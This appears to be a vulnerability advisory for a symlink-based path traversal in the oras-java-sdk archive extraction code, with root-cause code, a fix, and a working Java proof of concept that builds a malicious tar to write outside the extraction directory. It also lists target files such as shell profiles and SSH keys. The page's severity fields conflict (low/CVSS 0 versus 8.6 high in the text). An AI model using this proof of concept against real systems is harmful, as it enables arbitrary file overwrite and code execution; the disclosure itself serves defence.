Niedrig

land.oras:oras-java-sdk: Symlink-based path traversal in ArchiveUtils.untar / unzip allows arbitrary file write outside extraction directory

  • Veröffentlicht: 01.07.2026
  • Aktualisiert: 11.10.2026 12:22

Summary

ArchiveUtils.untar(InputStream, Path) and ArchiveUtils.unzip(InputStream, Path) in land.oras:oras-java-sdk create symbolic-link entries from an archive without validating the symlink target. A malicious tar (or zip) shipped as an OCI layer blob can place a symlink under the extraction directory whose target points outside that directory, then ship a regular-file entry whose path traverses through that symlink. The subsequent Files.newOutputStream call follows the symlink and writes the file outside the caller's chosen target directory.

This bypasses the existing ensureSafeEntry containment check, which only validates entry.getName() and not entry.getLinkName(). Reachable from the public Registry.pullArtifact / OCILayout.pullArtifact API whenever the manifest layer carries io.deis.oras.content.unpack=true, and from any direct caller of ArchiveUtils.untar / ArchiveUtils.uncompressuntar (e.g. consumers that pull an archive blob and extract it themselves, such as project-scaffolding CLIs that fetch templates from OCI registries).

Affected versions

land.oras:oras-java-sdk <= 0.6.3 (current main commit 8e39dd54f0b9e981a5f246aefb851298187578e5, file src/main/java/land/oras/utils/ArchiveUtils.java lines 400-443 for untar, lines 350-393 for unzip).

Earlier path-traversal fix in PR #703 (released as 0.6.2) addressed the org.opencontainers.image.title annotation sink (GHSA-xm96-gfjx-jcrc), but did not extend containment to symlink targets inside archive entries.

Privilege required

Network-position: any party able to serve an OCI artifact / archive blob that the victim's oras-java-sdk-based tool pulls and extracts. This includes:

  • A compromised or attacker-operated OCI registry endpoint (typo-squat, MITM, supply-chain into a public registry namespace).
  • A malicious upstream artifact author who pushes a single tampered blob to a registry the victim trusts.

No registry authentication needed on the victim side beyond what is required to pull the artifact; the attack is fully driven by the contents of the layer the victim downloads.

Root cause

src/main/java/land/oras/utils/ArchiveUtils.java untar(InputStream, Path), lines 400-443:

java
public static void untar(InputStream fis, Path target) {
    try {
        try (BufferedInputStream bis = new BufferedInputStream(fis);
                TarArchiveInputStream tais = new TarArchiveInputStream(bis)) {
            TarArchiveEntry entry;
            while ((entry = tais.getNextEntry()) != null) {

                // Check if the entry is outside the target directory
                ensureSafeEntry(entry, target);   // validates entry.getName() only

                Path outputPath = target.resolve(entry.getName()).normalize();

                if (entry.isDirectory()) {
                    Files.createDirectories(outputPath);
                } else {
                    Files.createDirectories(outputPath.getParent());

                    if (entry.isSymbolicLink()) {
                        // entry.getLinkName() is NOT validated against target
                        createSymbolicLink(outputPath, Paths.get(entry.getLinkName()));
                    } else {
                        // FOLLOWS the symlink if outputPath's parent is one
                        try (OutputStream out = Files.newOutputStream(outputPath)) {
                            tais.transferTo(out);
                        }
                    }
                }
            }
        }
    } catch (IOException e) {
        throw new OrasException("Failed to extract tar.gz file", e);
    }
}

ensureSafeEntry (lines 261-268) only normalizes entry.getName() against target. entry.getLinkName() for symlink entries is passed straight to createSymbolicLink. The subsequent file-write code path uses Files.newOutputStream without LinkOption.NOFOLLOW_LINKS, so when a later entry's path traverses through the previously-created symlink, the write resolves the symlink and lands outside target.

The same primitive applies to unzip(InputStream, Path) at lines 350-393 (symlink path at line 379 uses createSymbolicLink(outputPath, Paths.get(linkStr)) without target validation).

Reachability into the public API:

  • Registry.pullArtifact -> pullLayer (Registry.java:1088). When io.deis.oras.content.unpack=true is set on the layer, pullLayer calls ArchiveUtils.untar(Files.newInputStream(tempArchive.getPath()), path) at line 1109. The attacker-controlled blob is the input.
  • OCILayout.pullArtifact similar path through the layout's blob store.
  • Any direct caller of ArchiveUtils.untar / ArchiveUtils.uncompressuntar / ArchiveUtils.unzip from a downstream consumer that fetches an archive blob and extracts it.

Proof of concept (E2E against deployed Maven Central land.oras:oras-java-sdk:0.6.3)

pom.xml:

xml
<dependency>
    <groupId>land.oras</groupId>
    <artifactId>oras-java-sdk</artifactId>
    <version>0.6.3</version>
</dependency>

src/main/java/TarSlipPoc.java:

java
import land.oras.utils.ArchiveUtils;
import org.apache.commons.compress.archivers.tar.TarArchiveEntry;
import org.apache.commons.compress.archivers.tar.TarArchiveOutputStream;

import java.io.*;
import java.nio.file.*;

public class TarSlipPoc {
    public static void main(String[] args) throws Exception {
        Path tmp = Files.createTempDirectory("orasslip-");
        Path target = tmp.resolve("safe-output");
        Files.createDirectories(target);
        Path escapeFile = tmp.resolve("ESCAPED.txt");
        Files.deleteIfExists(escapeFile);

        Path mtar = tmp.resolve("malicious.tar");
        try (TarArchiveOutputStream tout =
                 new TarArchiveOutputStream(Files.newOutputStream(mtar))) {
            tout.setLongFileMode(TarArchiveOutputStream.LONGFILE_POSIX);

            // Entry 1: symlink at "evil-link" pointing one dir above target
            TarArchiveEntry symlinkEntry =
                new TarArchiveEntry("evil-link", TarArchiveEntry.LF_SYMLINK);
            symlinkEntry.setLinkName(tmp.toAbsolutePath().toString());
            symlinkEntry.setMode(0777);
            tout.putArchiveEntry(symlinkEntry);
            tout.closeArchiveEntry();

            // Entry 2: regular file under "evil-link/" — write follows symlink
            byte[] data = "POC SUCCESS\n".getBytes();
            TarArchiveEntry fileEntry =
                new TarArchiveEntry("evil-link/ESCAPED.txt");
            fileEntry.setSize(data.length);
            fileEntry.setMode(0644);
            tout.putArchiveEntry(fileEntry);
            tout.write(data);
            tout.closeArchiveEntry();
        }

        System.out.println("ESCAPED.txt pre-extract: " + Files.exists(escapeFile));
        ArchiveUtils.untar(mtar, target);
        System.out.println("ESCAPED.txt post-extract (outside target): "
            + Files.exists(escapeFile));
    }
}

Run transcript (JDK 25, Apache Maven 3.9.16, oras-java-sdk:0.6.3 from Maven Central):

=== PRE-EXTRACT ===
target=/var/folders/7n/y98nrcg928ldg8685njy1qjc0000gn/T/orasslip-8932319985819096427/safe-output
ESCAPED.txt exists: false
=== POST-EXTRACT ===
target listing:
  /var/folders/.../orasslip-.../safe-output
  /var/folders/.../orasslip-.../safe-output/evil-link (symlink)
ESCAPED.txt exists outside target: true
ESCAPED.txt contents: POC SUCCESS
** SYMLINK TAR-SLIP CONFIRMED **

Negative control: same malicious tar, extracted through a routine that resolves entry.getLinkName() against the entry's parent and requires the result to stay under target, AND opens regular files with LinkOption.NOFOLLOW_LINKS:

=== NEGATIVE CONTROL (link-target validation) ===
BLOCKED symlink 'evil-link' -> '/var/folders/.../orasslip-neg-...' (escapes target)
ESCAPED.txt exists outside target: false
** NEGATIVE CONTROL OK — no escape, safe under fix **

Impact

  • Arbitrary file write under the privileges of the JVM process that runs the SDK. Files in any directory the process can write to are overwritten, including build outputs, CI workspace siblings, ~/.bashrc-style profile files when extraction happens under the user's home, and ~/.docker/config.json / ~/.config/containers/auth.json to plant attacker registry credentials.
  • Indirect code execution when the overwritten target is a shell init file, a cron drop-in, a systemd unit drop-in, an SSH authorized_keys (when extraction happens under a service account home), a Jenkins / Tekton task runner script, or any executable invoked by the surrounding pipeline.
  • Supply-chain pivot: any oras-java-sdk consumer that pulls an artifact and extracts it (project-scaffolding CLIs, Helm-OCI fetchers, plugin pull tools, CNCF artifact handlers) becomes a remote-attacker write primitive.

CVSS 3.1 vector: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H (~8.6 HIGH). The integrity impact is high because the attacker fully chooses both the link target path and the file payload; availability is high because critical files (cron, init scripts, application binaries on the CI worker) can be overwritten.

Suggested fix

Two complementary changes in src/main/java/land/oras/utils/ArchiveUtils.java. Both are required: the link-target check stops the symlink from being created in the first place; LinkOption.NOFOLLOW_LINKS is the second line of defense against any path that already contains a symlink (race, pre-existing target dir, etc.).

(1) Validate symlink targets in untar and unzip against the normalized extraction root, paralleling the existing ensureSafeEntry shape:

java
private static void ensureSafeSymlinkTarget(Path outputPath, Path linkTarget, Path target)
        throws IOException {
    Path normalizedTarget = target.toAbsolutePath().normalize();
    Path resolved = (linkTarget.isAbsolute()
            ? linkTarget
            : outputPath.getParent().resolve(linkTarget)).normalize();
    if (!resolved.startsWith(normalizedTarget)) {
        throw new IOException(
            "Refusing to create symlink that escapes target dir: "
            + outputPath + " -> " + linkTarget);
    }
}

Call this immediately before each createSymbolicLink(...) site (one in untar, one in unzip).

(2) Open regular-file writes with LinkOption.NOFOLLOW_LINKS so a pre-existing symlink under the extraction path cannot be silently followed:

java
try (OutputStream out = Files.newOutputStream(
        outputPath,
        StandardOpenOption.CREATE_NEW,
        StandardOpenOption.WRITE,
        java.nio.file.LinkOption.NOFOLLOW_LINKS)) {
    tais.transferTo(out);  // or zais.transferTo(out) for unzip
}

CREATE_NEW (instead of the implicit CREATE + TRUNCATE_EXISTING) guarantees the open fails if the path resolves to an existing entry (symlink or regular file), and is consistent with archive extraction semantics where layers should not silently clobber siblings.

A regression test that builds the malicious tar inline and asserts the post-extract state stays within target is the natural shape for src/test/java/land/oras/utils/ArchiveUtilsTest.java.

Credit

Reported by tonghuaroot.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Java / Kotlin (Maven) land.oras:oras-java-sdk < 0.6.4 0.6.4

Verweise

CVSS-Wert 0
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
Schwäche (CWE)
CWE-22, CWE-59
Plattform
Java / Kotlin (Maven)
Paket
land.oras:oras-java-sdk
Veröffentlicht
01.07.2026
Aktualisiert
11.10.2026 12:22

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-j6hm-v3x2-qv6j - CC BY 4.0

Schwachstellenhistorie: land.oras:oras-java-sdk

Alle veröffentlichten Schwachstellen dieses Pakets (Java / Kotlin (Maven)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Einträge insgesamt
2
Erste → letzte
05.2026 07.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Hoch 1
  • Niedrig 1

Veröffentlichungen pro Jahr

  1. 2026: 2
  1. land.oras:oras-java-sdk: Symlink-based path traversal in ArchiveUtils.untar / unzip allows arbitrary file write outside extraction directory dieser Eintrag
    Niedrig · 0.0 ghsa-j6hm-v3x2-qv6j < 0.6.4 0.6.4

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.